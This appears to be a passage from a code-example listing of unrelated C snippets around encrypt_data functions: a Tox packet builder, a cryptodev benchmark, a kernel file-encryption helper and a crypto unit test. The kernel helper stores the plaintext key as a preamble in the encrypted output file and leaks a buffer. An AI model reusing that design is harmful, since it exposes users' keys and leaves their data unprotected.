                   uint8_t *data, uint32_t length, uint8_t request_id)
{
    if (MAX_DATA_SIZE < length + 1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES + 1 + ENCRYPTION_PADDING)
        return -1;

    uint8_t nonce[crypto_box_NONCEBYTES];
    uint8_t temp[MAX_DATA_SIZE];
    memcpy(temp + 1, data, length);
    temp[0] = request_id;
    new_nonce(nonce);
    int len = encrypt_data(recv_public_key, send_secret_key, nonce, temp, length + 1,
                           1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES + packet);

    if (len == -1)
        return -1;

    packet[0] = NET_PACKET_CRYPTO;
    memcpy(packet + 1, recv_public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(packet + 1 + crypto_box_PUBLICKEYBYTES, send_public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(packet + 1 + crypto_box_PUBLICKEYBYTES * 2, nonce, crypto_box_NONCEBYTES);

    return len + 1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES;
}
int main(void)
{
	int fd, i, fdc = -1, alignmask = 0;
	struct session_op sess;
#ifdef CIOCGSESSINFO
	struct session_info_op siop;
#endif
	char keybuf[32];

	signal(SIGALRM, alarm_handler);

	if ((fd = open("/dev/crypto", O_RDWR, 0)) < 0) {
		perror("open()");
		return 1;
	}
	if (ioctl(fd, CRIOGET, &fdc)) {
		perror("ioctl(CRIOGET)");
		return 1;
	}

	fprintf(stderr, "Testing NULL cipher: \n");
	memset(&sess, 0, sizeof(sess));
	sess.cipher = CRYPTO_NULL;
	sess.keylen = 0;
	sess.key = (unsigned char *)keybuf;
	if (ioctl(fdc, CIOCGSESSION, &sess)) {
		perror("ioctl(CIOCGSESSION)");
		return 1;
	}
#ifdef CIOCGSESSINFO
	siop.ses = sess.ses;
	if (ioctl(fdc, CIOCGSESSINFO, &siop)) {
		perror("ioctl(CIOCGSESSINFO)");
		return 1;
	}
	alignmask = siop.alignmask;
#endif

	for (i = 256; i <= (64 * 4096); i *= 2) {
		if (encrypt_data(&sess, fdc, i, alignmask))
			break;
	}

	fprintf(stderr, "\nTesting AES-128-CBC cipher: \n");
	memset(&sess, 0, sizeof(sess));
	sess.cipher = CRYPTO_AES_CBC;
	sess.keylen = 16;
	memset(keybuf, 0x42, 16);
	sess.key = (unsigned char *)keybuf;
	if (ioctl(fdc, CIOCGSESSION, &sess)) {
		perror("ioctl(CIOCGSESSION)");
		return 1;
	}
#ifdef CIOCGSESSINFO
	siop.ses = sess.ses;
	if (ioctl(fdc, CIOCGSESSINFO, &siop)) {
		perror("ioctl(CIOCGSESSINFO)");
		return 1;
	}
	alignmask = siop.alignmask;
#endif

	for (i = 256; i <= (64 * 1024); i *= 2) {
		if (encrypt_data(&sess, fdc, i, alignmask))
			break;
	}

	close(fdc);
	close(fd);
	return 0;
}
Exemple #29
0
int encrypt_file_helper(struct file *input, struct file *output, char *key, int keylen,int flag, char *algo_name)
{
    //mm_segment_t oldfs;
    //loff_t offset=0;
    //loff_t pos=0;
    int readBytes = 0;
    int writtenBytes = 0;
    int size_of_input_file = 0;
    int actual_length_to_be_used = 0;
    int return_value = 0;
    int i;
    /* 0 means don't clean, 1 means clean */
    int clean_output_file = 0;
    ssize_t *length_encrypted = kmalloc(sizeof(ssize_t), GFP_KERNEL);
    /* buffers for transfers */
    char *from = kmalloc(PAGE_SIZE, GFP_KERNEL);
    char *to = kmalloc(PAGE_SIZE, GFP_KERNEL);
    
    /* let's check if kmalloc has worked */
    if(from == NULL || to == NULL)
    {
        return_value = -ENOMEM;
        printk("Error in allocating space for buffers\n");
        goto cleanup_this_house;
    }

    size_of_input_file = input->f_dentry->d_inode->i_size;


    /* When decrypting, we move the input file pointer 16 spaces and also verify the key as well */
    if (flag == 0)
    {
        memset(from,'\0', PAGE_SIZE);
        readBytes = wrapfs_read_file(input, from, 16);
        if(readBytes <= 0)
        {
            return_value = readBytes; //error returned by the read method.
            clean_output_file = 1; //remove partial output file
            goto cleanup_this_house;
        }
        /* Let's compare the key */
        for (i = 0; i < SIZE_OF_KEY_BUFFER; i++)
        {
            if (from[i] != key[i])
            {
                printk(KERN_CRIT "Key entered and preamble on the input file don't match\n");
                return_value = -EINVAL;
                clean_output_file = 1;
                goto cleanup_this_house;
            }
        }
        input->f_pos = 16;
        printk(KERN_CRIT "Key matched successfully\n");

    }
    
    /* This is the preamble portion, where we write the key on the file */
    if (flag == 1)
    {
        printk(KERN_CRIT "Writing key on the output file\n");
        if ((writtenBytes = wrapfs_write_file(output, key, 16)) <1)
        {
            printk(KERN_CRIT "Error while writing key on the output file.\n");
            return_value = -EIO;
            clean_output_file = 1;
            goto cleanup_this_house;
        }
        output->f_pos = 16;
        printk(KERN_CRIT "Preamble written successfully on the output file\n");

    }
    
    /* if decryption, then total bytes are reduced by 16, coz 16 is the preamble */
    if(flag == 0)
        size_of_input_file = size_of_input_file - 16;
    
    printk(KERN_CRIT "*******************************\n");
    printk(KERN_CRIT "We are ready to encrypt/decrypt\n");
    printk(KERN_CRIT "*******************************\n");

    /* Main while loop, that reads, en/de crypt and then writes */
    while(size_of_input_file > 0)
    {
        actual_length_to_be_used = 0;
        readBytes = 0;
        writtenBytes = 0;
        memset(from, '0', PAGE_SIZE);
        memset(to, '0', PAGE_SIZE);
        
        /* if decryption flag is specified */
        if (flag == 0)
        {
            if (size_of_input_file > (PAGE_SIZE))
            {
                actual_length_to_be_used = PAGE_SIZE;
                size_of_input_file = size_of_input_file - actual_length_to_be_used ;
            }
            else
            {
                actual_length_to_be_used = size_of_input_file;
                size_of_input_file = 0;
            }
        }
        
        /* 16 bytes are used for preamble, so set the buffer that will be en/de crypted according to the flag */
        if (flag == 1)
        {
            
            if (size_of_input_file > (PAGE_SIZE - 16))
            {
                actual_length_to_be_used = PAGE_SIZE - 16;
                size_of_input_file = size_of_input_file - actual_length_to_be_used ;
            }
            else
            {
                actual_length_to_be_used = size_of_input_file;
                size_of_input_file = 0;
            }
        }
        
        
        /* reading bytes depending upon the appropriate size */
        readBytes = wrapfs_read_file(input, from, actual_length_to_be_used);
        if(readBytes <= 0)
        {
            return_value = readBytes; //error returned by the read method.
            clean_output_file = 1;
            goto cleanup_this_house;
        }
        
        /* encrypt */
        if(flag ==1)
        {
            printk(KERN_CRIT "Encrypting...\n");
            return_value = encrypt_data(key, keylen, to, from, length_encrypted, actual_length_to_be_used, algo_name);
            if(return_value < 0)
            {
                printk(KERN_CRIT "cypto_blkcipher Encryption Failed.\n");
                clean_output_file = 1;
                goto cleanup_this_house;
            }
        }
        
        /* dencrypt */
        if(flag ==0)
        {
            printk(KERN_CRIT "Decrypting...\n");
            return_value = decrypt_data(key, keylen, to, from, length_encrypted, actual_length_to_be_used, algo_name);
            if(return_value < 0)
            {
                printk(KERN_CRIT "cypto_blkcipher Decryption Failed.\n");
                clean_output_file = 1;
                goto cleanup_this_house;
            }
        }
        writtenBytes = wrapfs_write_file(output, to, *length_encrypted);
        if(writtenBytes <=0)
        {
            return_value = writtenBytes; //error returned by the write method.
            clean_output_file = 1;
            goto cleanup_this_house;
        }
        
        
    }

    
cleanup_this_house:
    kfree(to);
    kfree(from);
    //set_fs(oldfs);
    return return_value;
    
}
Exemple #30
0
END_TEST

START_TEST(test_endtoend)
{
    unsigned char pk1[CRYPTO_PUBLIC_KEY_SIZE];
    unsigned char sk1[CRYPTO_SECRET_KEY_SIZE];
    unsigned char pk2[CRYPTO_PUBLIC_KEY_SIZE];
    unsigned char sk2[CRYPTO_SECRET_KEY_SIZE];
    unsigned char k1[CRYPTO_SHARED_KEY_SIZE];
    unsigned char k2[CRYPTO_SHARED_KEY_SIZE];

    unsigned char n[CRYPTO_NONCE_SIZE];

    unsigned char m[500];
    unsigned char c1[sizeof(m) + CRYPTO_MAC_SIZE];
    unsigned char c2[sizeof(m) + CRYPTO_MAC_SIZE];
    unsigned char c3[sizeof(m) + CRYPTO_MAC_SIZE];
    unsigned char c4[sizeof(m) + CRYPTO_MAC_SIZE];
    unsigned char m1[sizeof(m)];
    unsigned char m2[sizeof(m)];
    unsigned char m3[sizeof(m)];
    unsigned char m4[sizeof(m)];

    int mlen;
    int c1len, c2len, c3len, c4len;
    int m1len, m2len, m3len, m4len;

    int testno;

    // Test 100 random messages and keypairs
    for (testno = 0; testno < 100; testno++) {
        //Generate random message (random length from 100 to 500)
        mlen = (random_u32() % 400) + 100;
        rand_bytes(m, mlen);
        rand_bytes(n, CRYPTO_NONCE_SIZE);

        //Generate keypairs
        crypto_new_keypair(pk1, sk1);
        crypto_new_keypair(pk2, sk2);

        //Precompute shared keys
        encrypt_precompute(pk2, sk1, k1);
        encrypt_precompute(pk1, sk2, k2);

        ck_assert_msg(memcmp(k1, k2, CRYPTO_SHARED_KEY_SIZE) == 0, "encrypt_precompute: bad");

        //Encrypt all four ways
        c1len = encrypt_data(pk2, sk1, n, m, mlen, c1);
        c2len = encrypt_data(pk1, sk2, n, m, mlen, c2);
        c3len = encrypt_data_symmetric(k1, n, m, mlen, c3);
        c4len = encrypt_data_symmetric(k2, n, m, mlen, c4);

        ck_assert_msg(c1len == c2len && c1len == c3len && c1len == c4len, "cyphertext lengths differ");
        ck_assert_msg(c1len == mlen + (int)CRYPTO_MAC_SIZE, "wrong cyphertext length");
        ck_assert_msg(memcmp(c1, c2, c1len) == 0 && memcmp(c1, c3, c1len) == 0
                      && memcmp(c1, c4, c1len) == 0, "crypertexts differ");

        //Decrypt all four ways
        m1len = decrypt_data(pk2, sk1, n, c1, c1len, m1);
        m2len = decrypt_data(pk1, sk2, n, c1, c1len, m2);
        m3len = decrypt_data_symmetric(k1, n, c1, c1len, m3);
        m4len = decrypt_data_symmetric(k2, n, c1, c1len, m4);

        ck_assert_msg(m1len == m2len && m1len == m3len && m1len == m4len, "decrypted text lengths differ");
        ck_assert_msg(m1len == mlen, "wrong decrypted text length");
        ck_assert_msg(memcmp(m1, m2, mlen) == 0 && memcmp(m1, m3, mlen) == 0
                      && memcmp(m1, m4, mlen) == 0, "decrypted texts differ");
        ck_assert_msg(memcmp(m1, m, mlen) == 0, "wrong decrypted text");
    }
}